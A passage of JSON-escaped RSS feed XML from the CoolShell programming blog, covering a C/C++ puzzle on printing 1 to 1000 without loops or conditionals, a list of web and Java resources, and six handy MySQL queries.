CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3453.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>11</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>输出从1到1000的数</title>\n\t\t<link>https://coolshell.cn/articles/3445.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3445.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 07 Jan 2011 00:55:32 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[Puzzle]]></category>\n\t\t<category><![CDATA[面试]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3445</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>有这样一个面试题——请把从1到1000的数打印出来，但你不能使用任何的循环语句或是条件语句。更不能写1000个printf或是cout。用C/C++语言。 我相...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3445.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3445.html\">输出从1到1000的数</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>有这样一个面试题——<strong>请把从1到1000的数打印出来，但你不能使用任何的循环语句或是条件语句。更不能写1000个printf或是cout</strong>。<strong>用C/C++语言</strong>。</p>\n<p>我相信，大多数人一开始你可能想到的是递归算法：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nvoid f(int n){\n    printf(&quot;%d\\n&quot;,n);\n    (1000-n) ? f(n+1) : exit(0) ;\n}\nint main(){\n    f(1);\n}\n</pre>\n<p>当然，题目中说了不能使用条件语句，所以，上面那种解法的不符合题意的，因为还是变向地使用了条件表达式。不过，我们可以用别的方法来让这个递归终止，比如：</p>\n<p>除以零，当程序crash，呵呵。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">void f(int n){\n    printf(&quot;%d\\n&quot;,n);\n    n/(1000-n);\n    f(n+1);\n}</pre>\n<p>还有这样退出递归的：</p>\n<p><span id=\"more-3445\"></span></p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nvoid yesprint(int i);\nvoid noprint(int i);\n\ntypedef void(*fnPtr)(int);\nfnPtr dispatch[] = { yesprint, noprint };\n\nvoid yesprint(int i) {\n    printf(&quot;%d\\n&quot;, i);\n    dispatch[i / 1000](i + 1);\n}\n\nvoid noprint(int i) { /* do nothing. */ }\n\nint main() {\n      yesprint(1);\n}\n</pre>\n<p>还有下面这些各种各样的解法：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">#include&lt;stdio.h&gt;\n\n/* prints number  i */\nvoid print1(int i) {\n    printf(&quot;%d\\n&quot;,i);\n}\n\n/* prints 10 numbers starting from i */\nvoid print10(int i) {\n    print1(i);\n    print1(i+1);\n    print1(i+2);\n    print1(i+3);\n    print1(i+4);\n    print1(i+5);\n    print1(i+6);\n    print1(i+7);\n    print1(i+8);\n    print1(i+9);\n}\n\n/* prints 100 numbers starting from i */\nvoid print100(int i) {\n    print10(i);\n    print10(i+10);\n    print10(i+20);\n    print10(i+30);\n    print10(i+40);\n    print10(i+50);\n    print10(i+60);\n    print10(i+70);\n    print10(i+80);\n    print10(i+90);\n}\n\n/* prints 1000 numbers starting from i */\nvoid print1000(int i) {\n    print100(i);\n    print100(i+100);\n    print100(i+200);\n    print100(i+300);\n    print100(i+400);\n    print100(i+500);\n    print100(i+600);\n    print100(i+700);\n    print100(i+800);\n    print100(i+900);\n}\n\nint main() {\n        print1000(1);\n        return 0;\n}</pre>\n<p>不过，print用得多了一些。我们可以用宏嘛。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">#include&lt;stdio.h&gt;\n#define Out(i)       printf(&quot;%d\\n&quot;, i++);\n#define REP(N)       N N N N N N N N N N\n#define Out1000(i)   REP(REP(REP(Out(i))));\nvoid main()\n{\n    int i = 1;\n    Out1000(i);\n}</pre>\n<p>不过，我们应该使用C++的一些特性，比如：</p>\n<p>使用构造函数</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nclass Printer\n{\npublic:\n    Printer() { static unsigned i=1; cout &lt;&lt; i++ &lt;&lt; endl;; }\n\n};\n\nint main()\n{\n    Printer p[1000];\n}\n</pre>\n<p>或是更为NB的Template：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">template&lt;int N&gt;\nstruct NumberGeneration{\n    static void out(std::ostream&amp; os)\n    {\n        NumberGeneration&lt;N-1&gt;::out(os);\n        os &lt;&lt; N &lt;&lt; std::endl;\n    }\n};\n\ntemplate&lt;&gt;\nstruct NumberGeneration&lt;1&gt;{\n    static void out(std::ostream&amp; os)\n    {\n        os &lt;&lt; 1 &lt;&lt; std::endl;\n    }\n};\n\nint main(){\n    NumberGeneration&lt;1000&gt;::out(std::cout);\n}</pre>\n<p>最后来个BT一点的：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nvoid main(int j) {\n    printf(&quot;%d\\n&quot;, j);\n    (main + (exit - main)*(j/1000))(j+1);\n}\n</pre>\n<p>本文来自: <a href=\"http://stackoverflow.com/q/4568645/89806\" target=\"_blank\">http://stackoverflow.com/q/4568645/89806</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/7965.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/fork01jpg-150x150.jpg\" alt=\"一个fork的面试题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7965.html\" class=\"wp_rp_title\">一个fork的面试题</a></li><li ><a href=\"https://coolshell.cn/articles/4162.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\"又一个有趣的面试题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4162.html\" class=\"wp_rp_title\">又一个有趣的面试题</a></li><li ><a href=\"https://coolshell.cn/articles/3961.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg\" alt=\"“火柴棍式”程序员面试题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3961.html\" class=\"wp_rp_title\">“火柴棍式”程序员面试题</a></li><li ><a href=\"https://coolshell.cn/articles/3738.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg\" alt=\"打印质数的各种算法\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3738.html\" class=\"wp_rp_title\">打印质数的各种算法</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/10478.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\"C++面试中string类的一种正确写法\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10478.html\" class=\"wp_rp_title\">C++面试中string类的一种正确写法</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3445.html\">输出从1到1000的数</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3445.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>70</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>一些杂项资源</title>\n\t\t<link>https://coolshell.cn/articles/3437.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3437.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 31 Dec 2010 05:00:00 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[agile]]></category>\n\t\t<category><![CDATA[Emacs]]></category>\n\t\t<category><![CDATA[ExtJS]]></category>\n\t\t<category><![CDATA[Hibernate]]></category>\n\t\t<category><![CDATA[HTML]]></category>\n\t\t<category><![CDATA[Java]]></category>\n\t\t<category><![CDATA[Javascript]]></category>\n\t\t<category><![CDATA[Movie]]></category>\n\t\t<category><![CDATA[Spring]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3437</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>以前给大家介绍过一些非常有意思的杂项资源，今天再给大家介绍一些。（虽然没有上次的多，也算是一个新年礼物吧） 首先，如果你想在你的web页上做一个小提示，你不妨到...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3437.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3437.html\">一些杂项资源</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>以前给大家介绍过<a href=\"https://coolshell.cn/articles/3013.html\" target=\"_blank\">一些非常有意思的杂项资源</a>，今天再给大家介绍一些。（虽然没有上次的多，也算是一个新年礼物吧）</p>\n<ul>\n<li>首先，如果你想在你的web页上做一个小提示，你不妨到<a href=\"http://projects.nickstakenburg.com/tipped\" target=\"_blank\">http://projects.nickstakenburg.com/tipped</a>上看看，各种各样的提示风格，很不错。而且兼容于四大主流浏览器——Chrome, Firefox, IE, Safari。</li>\n</ul>\n<ul>\n<li>如果你想让Java变成一个动态语言，你可以试试这个开源项目：<a href=\"http://code.google.com/p/ductilej/\" target=\"_blank\">http://code.google.com/p/ductilej/</a></li>\n</ul>\n<ul>\n<li>如果你想把你的Windows蓝屏改成红屏或是绿屏，你可以看看这篇教程：<a href=\"http://blogs.technet.com/b/markrussinovich/archive/2010/12/14/3374820.aspx\" target=\"_blank\">http://blogs.technet.com/b/markrussinovich/archive/2010/12/14/3374820.aspx</a>，还是挺Cool的。</li>\n</ul>\n<p style=\"text-align: center;\"><a href=\"http://blogs.technet.com/cfs-file.ashx/__key/CommunityServer-Blogs-Components-WeblogFiles/00-00-00-52-36-metablogapi/4745.image_5F00_thumb47_5F00_0847D56E.png\"><img decoding=\"async\" loading=\"lazy\" title=\"image_thumb47\" src=\"http://blogs.technet.com/cfs-file.ashx/__key/CommunityServer-Blogs-Components-WeblogFiles/00-00-00-52-36-metablogapi/7462.image_5F00_thumb47_5F00_thumb_5F00_5577CEF9.png\" border=\"0\" alt=\"image_thumb47\" width=\"550\" height=\"413\" /></a></p>\n<p><span id=\"more-3437\"></span></p>\n<ul>\n<li>如果你想使用HTML5+Javascript做一个游戏，就像制作<a href=\"https://coolshell.cn/articles/2998.html\" target=\"_blank\">这些HTML5的小游戏</a>一样，你不妨考虑使用一下这个游戏框架：<a href=\"http://www.propulsionjs.com/\" target=\"_blank\">http://www.propulsionjs.com/</a></li>\n</ul>\n<ul>\n<li>如果你想学习Emacs，而又不害怕这样的学习曲线，那么，这里有一篇相当不错的教程供你参考：<a href=\"http://textmate2.com/\" target=\"_blank\">http://textmate2.com/</a></li>\n</ul>\n<p style=\"text-align: center;\"><a href=\"http://textmate2.com/\" target=\"_blank\"><img decoding=\"async\" src=\"http://www.gnu.org/software/emacs/tour/images/ediff-small.png\" alt=\"Ediff mode screenshot\" /></a></p>\n<p style=\"text-align: center;\">\n<ul>\n<li>如果你对2010年的好莱坞电影票房和排行情况想有一个整体的了解的话，这里有一个很不错的图示：<a href=\"http://www.xach.com/moviecharts/2010.html\" target=\"_blank\">http://www.xach.com/moviecharts/2010.html</a>，阿凡达，艾丽斯梦游仙梦，钢铁侠，史端克，幕色，盗梦空间，玩具总动员，哈里波特……可能还有很多你没有看过的电影，你可以上<a href=\"http://www.kickasstorrents.com/\" target=\"_blank\">http://www.kickasstorrents.com/</a>上下载看看。</li>\n</ul>\n<ul>\n<li>如果你像我一样，对“Agile Development”在中国似“电视购物”般的的宣传和神化有一些异见的话，或者你对这个方法论起级信仰，认为他就像“共产主义”，“真主”，“耶稣”，“佛陀”一样可以普世的话，你不妨看一下下面这些文章：（注意，他们大多被墙）\n<ul>\n<li><a href=\"https://gist.github.com/710960\" target=\"_blank\">What Killed Waterfall could Kill Agile</a>.</li>\n<li><a href=\"https://groups.google.com/forum/#!msg/guerrilla-capacity-planning/HR69ubukn_Q/xNgiiMeq0BkJ\" target=\"_blank\">Google Groups上的一个讨论</a></li>\n<li><a href=\"http://david.ing.name/2010/12/24/agile-plumbers/\" target=\"_blank\">Agile 水管工</a></li>\n<li><a href=\"http://mempko.wordpress.com/2010/12/30/look-like-a-capitalist-live-like-a-communist/\" target=\"_blank\">看上去是资本主义，用起来是共产主义，打起架来是法西斯，做起爱来是无政府主义</a></li>\n</ul>\n</li>\n</ul>\n<ul>\n<li>最后让我向你介绍一下2010年度top 10的关于 Spring, ExtJS和Hibernate的相关文章（同意，注意撞墙）\n<ul>\n<li><a href=\"http://loianegroner.com/2010/01/tutorial-getting-started-with-spring-security/\" target=\"_blank\">Tutorial: Getting Started with Spring Security</a></li>\n<li><a href=\"http://loianegroner.com/2010/03/extjs-and-spring-mvc-framework-crud-datagrid-example/\" target=\"_blank\">ExtJS and Spring MVC Framework: CRUD DataGrid Example</a></li>\n<li><a href=\"http://loianegroner.com/2010/03/ajax-file-upload-with-extjs-and-spring-framework/\" target=\"_blank\">Ajax File Upload with ExtJS and Spring Framework</a></li>\n<li><a href=\"http://loianegroner.com/2010/02/integrating-spring-security-with-extjs-login-page/\" target=\"_blank\">Integrating Spring Security with ExtJS Login Page</a></li>\n<li><a href=\"http://loianegroner.com/2010/02/spring-mvc-and-ajax-with-json/\" target=\"_blank\">Spring MVC and AJAX with JSON</a></li>\n<li><a href=\"http://loianegroner.com/2010/02/extjs-how-to-export-datagrid-to-excel/\" target=\"_blank\">ExtJS: How to Export DataGrid to Excel</a></li>\n<li><a href=\"http://loianegroner.com/2010/09/extjs-spring-mvc-3-and-hibernate-3-5-crud-datagrid-example/\" target=\"_blank\">ExtJS, Spring MVC 3 and Hibernate 3.5: CRUD DataGrid Example</a></li>\n<li><a href=\"http://loianegroner.com/2010/01/spring-security-login-and-logout-form-jsp/\" target=\"_blank\">Spring Security: Login and Logout Form JSP</a></li>\n<li><a href=\"http://loianegroner.com/2010/01/how-to-display-an-imagelink-inside-an-ext-js-gridpanels-cell/\" target=\"_blank\">How to Display an Image/Link Inside an Ext JS GridPanel’s Cell</a></li>\n<li><a href=\"http://loianegroner.com/2010/01/ext-window-panel-show-or-hide/\" target=\"_blank\">Ext.Window Panel: Show or Hide?</a></li>\n</ul>\n</li>\n</ul>\n<p><strong>祝大家新年快乐！！</strong></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif\" alt=\"Chrome开发者工具的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_title\">Chrome开发者工具的小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-150x150.jpg\" alt=\"浏览器的渲染原理简介\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_title\">浏览器的渲染原理简介</a></li><li ><a href=\"https://coolshell.cn/articles/5537.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/11/stackparts.com_-150x150.png\" alt=\"一些文章资源和趣闻\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5537.html\" class=\"wp_rp_title\">一些文章资源和趣闻</a></li><li ><a href=\"https://coolshell.cn/articles/5709.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"API设计：用流畅接口构造内部DSL\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5709.html\" class=\"wp_rp_title\">API设计：用流畅接口构造内部DSL</a></li><li ><a href=\"https://coolshell.cn/articles/5576.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/10/00.QuickBasic_PDS_IDE-150x150.png\" alt=\"那些曾伴我走过编程之路的软件\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5576.html\" class=\"wp_rp_title\">那些曾伴我走过编程之路的软件</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3437.html\">一些杂项资源</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3437.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>22</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>6个有用的MySQL语句</title>\n\t\t<link>https://coolshell.cn/articles/3433.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3433.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 31 Dec 2010 00:29:35 +0000</pubDate>\n\t\t\t\t<category><![CDATA[数据库]]></category>\n\t\t<category><![CDATA[MySQL]]></category>\n\t\t<category><![CDATA[SQL]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3433</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>以前本站给大家介绍过《MySQL性能优化的最佳20+条经验》，今天给大家介绍六条比较有用的MySQL的SQL语句，可能很多人都通过PHP来实现这些功能。 1. ...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3433.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3433.html\">6个有用的MySQL语句</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>以前本站给大家介绍过《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/1846.html\" target=\"_blank\">MySQL性能优化的最佳20+条经验</a>》，今天给大家介绍六条比较有用的MySQL的SQL语句，可能很多人都通过PHP来实现这些功能。</p>\n<h4>1. 计算年数</h4>\n<p>你想通过生日来计算这个人有几岁了。</p>\n<pre data-enlighter-language=\"sql\" class=\"EnlighterJSRAW\">\n\nSELECT DATE_FORMAT(FROM_DAYS(TO_DAYS(now()) - TO_DAYS(@dateofbirth)), &#039;%Y&#039;) + 0;\n</pre>\n<h4>2. 两个时间的差</h4>\n<p>取得两个 datetime 值的差。假设 dt1 和 dt2 是 datetime 类型，其格式为 ‘yyyy-mm-dd hh:mm:ss’，那么它们之间所差的秒数为：</p>\n<pre data-enlighter-language=\"sql\" class=\"EnlighterJSRAW\">\n\nUNIX_TIMESTAMP( dt2 ) - UNIX_TIMESTAMP( dt1 )\n</pre>\n<p>除以60就是所差的分钟数，除以3600就是所差的小时数，再除以24就是所差的天数。</p>\n<h4>3. 显示某一列出现过N次的值</h4>\n<pre data-enlighter-language=\"sql\" class=\"EnlighterJSRAW\">\n\nSELECT id\nFROM tbl\nGROUP BY id\nHAVING COUNT(*) = N;\n</pre>\n<p><span id=\"more-3433\"></span></p>\n<h4>4. 计算两个日子间的工作日</h4>\n<p>所谓工作日就是除出周六周日和节假日。</p>\n<pre data-enlighter-language=\"sql\" class=\"EnlighterJSRAW\">\n\nSELECT COUNT(*)\nFROM calendar\nWHERE d BETWEEN Start AND Stop\n  AND DAYOFWEEK(d) NOT IN(1,7)\n  AND holiday=0;\n</pre>\n<h4>5. 查找表中的主键</h4>\n<pre data-enlighter-language=\"sql\" class=\"EnlighterJSRAW\">\n\nSELECT k.column_name\nFROM information_schema.table_constraints t\nJOIN information_schema.key_column_usage k\nUSING (constraint_name,table_schema,table_name)\nWHERE t.constraint_type=&#039;PRIMARY KEY&#039;\n  AND t.table_schema=&#039;db&#039;\n  AND t.table_name=tbl&#039;\n</pre>\n<h4>6. 查看你的数库有多大</h4>\n<pre data-enlighter-language=\"sql\" class=\"EnlighterJSRAW\">\n\nSELECT\n  table_schema AS &#039;Db Name&#039;,\n  Round( Sum( data_length + index_length ) / 1024 / 1024, 3 ) AS &#039;Db Size (MB)&#039;,\n  Round( Sum( data_free ) / 1024 / 1024, 3 ) AS &#039;Free Space (MB)&#039;\nFROM information_schema.tables\nGROUP BY table_schema ;\n</pre>\n<p>希望对你有帮助。</p>\n<p>文章：<a href=\"http://www.codeforest.net/6-useful-mysql-queries\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/7490.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/06/f1-150x150.jpg\" alt=\"性能调优攻略\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7490.html\" class=\"wp_rp_title\">性能调优攻略</a></li><li ><a href=\"https://coolshell.cn/articles/925.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg\" alt=\"如何比较两个数据表\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/925.html\" class=\"wp_rp_title\">如何比较两个数据表</a></li><li ><a href=\"https://coolshell.cn/articles/8711.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/12/200906020837401710-150x150.jpg\" alt=\"程序员疫苗：代码注入\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8711.html\" class=\"wp_rp_title\">程序员疫苗：代码注入</a></li><li ><a href=\"https://coolshell.cn/articles/7270.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/05/overview2-1-150x150.png\" alt=\"NoSQL 数据建模技术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7270.html\" class=\"wp_rp_title\">NoSQL 数据建模技术</a></li><li ><a href=\"https://coolshell.cn/articles/6639.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/02/programming-language-150x150.jpg\" alt=\"千万别惹程序员 \" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6639.html\" class=\"wp_rp_title\">千万别惹程序员 </a></li><li ><a href=\"https://coolshell.cn/articles/4939.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Quora使用到的技术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4939.html\" class=\"wp_rp_title\">Quora使用到的技术</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3433.html\">6个有用的MySQL语句</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3433.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>9</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t</channel>\n</rss>\n"
  },
  {
    "path": "blogs/rss/feed-23.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><rss version=\"2.0\"\n\txmlns:content=\"http://purl.org/rss/1.0/modules/content/\"\n\txmlns:wfw=\"http://wellformedweb.org/CommentAPI/\"\n\txmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n\txmlns:atom=\"http://www.w3.org/2005/Atom\"\n\txmlns:sy=\"http://purl.org/rss/1.0/modules/syndication/\"\n\txmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\"\n\t>\n\n<channel>\n\t<title>第 23 页 &#8211; 酷 壳 &#8211; CoolShell</title>\n\t<atom:link href=\"https://coolshell.cn/feed?paged=23\" rel=\"self\" type=\"application/rss+xml\" />\n\t<link>https://coolshell.cn</link>\n\t<description>享受编程和技术所带来的快乐 - Coding Your Ambition</description>\n\t<lastBuildDate>Sun, 07 Sep 2014 16:24:21 +0000</lastBuildDate>\n\t<language>zh-CN</language>\n\t<sy:updatePeriod>\n\thourly\t</sy:updatePeriod>\n\t<sy:updateFrequency>\n\t1\t</sy:updateFrequency>\n\t<generator>https://wordpress.org/?v=6.2</generator>\n\t<item>\n\t\t<title>程序员的圣诞节</title>\n\t\t<link>https://coolshell.cn/articles/3429.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3429.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 27 Dec 2010 00:43:32 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Christmas]]></category>\n\t\t<category><![CDATA[Javascript]]></category>\n\t\t<category><![CDATA[JS1K]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3429</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>程序员Román Cortés用1021个字节写了一个3D 